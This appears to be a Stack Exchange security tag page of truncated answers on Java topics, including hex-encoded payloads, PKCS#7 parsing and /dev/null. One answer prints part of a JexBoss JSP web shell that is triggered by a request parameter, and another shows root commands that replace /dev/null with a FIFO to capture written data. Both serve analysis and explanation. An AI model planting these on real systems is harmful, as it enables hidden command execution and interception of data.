Tag Info

New answers tagged

1

How did they write this payload? How can I decrypt it? like S.L. Barth said, it is hex encoded. Plugging it into a hex decoder, it turns out to be Java bytecode (the language that Java is compiled into for the JVM). So it is machine code if the JVM is the machine. It does not look "obfuscated", so a Java decompiler (like JD-Gui) should be able to turn ...


4

It is ultimately going to be a web shell that provides command execution. The relevant code/strings are shown here.. shellinvoker.war shellinvoker.jsp <%@ page import="java.util.*,java.io.*"%><pre><%if(request.getParameter("ppp") != null && request.getHeader("user-agent").equals("jexboss") ) { Process p = ...


2

It's not encrypted, merely encoded. Note that the entire range of values (\x00-\xff, or 0-255) seems to be present, so it is indeed likely to be machine language and not a script. How it's created? The attacker probably created something in C or another language and compiled it. How to figure out the contents? Take the values and enter them in a ...


0

The best/most accurate way to test for things like this is in a white-box security assessment approach, by checking the version of Java installed on the system. So on a redhat system something like rpm -qa would provide the version installed, then check the changelogs for the package which should list what CVE's have been addressed. To automate that, ...


0

Working it out in the comments with @JulianKnight, we decided that invalidation and updating would be the best way to go about accomplishing this. To be more specific; the server invalidates the client frequently (but not enough to cause stress on the host machine), and the client must update itself each time it is invalidated in order to get a new md5sum ...


1

IF what you ask was possible, THEN there would be no software or video piracy whatsoever. You could have some playing software that simply plays the movie but refuses to dump the data in a file, and that playing software would "prove" its unmodified status to the server, thus allowing the download. This tells us that what you seek must be hard and would be ...


3

You could use a scanner to guide you, but you need start with secure coding. Use a scanner to test for verification after you have implemented the secure coding concepts. First rule of secure coding is See input as evil. The first step to not trusting input in a web application is to encode (not filter) all user input. So, your input example will be HTML ...


1

Does Java have a place? Oh Yes! As Newb answered, Java Browser Plugin was one of the biggest security holes in the past few years. Since I was a Java developer, I was able to help guide my organization, which still uses Java applets, through the pains of locking this down. Many, many web applications are written in Java web frameworks such as JSP, ...


2

One trick you can use in Linux is to create a file, keep the pointer/handler and delete it immediately. You can then use your file's handle to write and read to it. Linux won't show the file to nobody because you removed it from the OS's file table. Unfortunately you would have to write back the file in a "normal" file when you program closes since you did ...


0

Finally I did it with BouncyCastle library. PKCS#7 is a complex format, also called CMS. Sun JCE has no direct support to PKCS#7. This is the code that I used to extract my content: // Loading the file first File f = new File("myFile.p7b"); byte[] buffer = new byte[(int) f.length()]; DataInputStream in = new DataInputStream(new ...


2

Writing to /dev/null is as safe as the OS allows. You're using it for the exact purpose it was built for, redirecting output to nowhere. /dev/null is part of the UNIX philosophy where everything is a file, including devices. It's a special file recognized by the kernel, and the output is never written anywhere. Anyone with root level access could still ...


4

Is it possible to replace /dev/null with something else. Try it (as root): mv /dev/null /dev/null-real mkfifo /dev/null # Create a FIFO pipe to read/write data while read line; do echo "Incoming: $line"; done < /dev/null & echo secretdata > /dev/null You will see a message saying Incoming: secretdata in your terminal. This is because the "while ...



Top 50 recent answers are included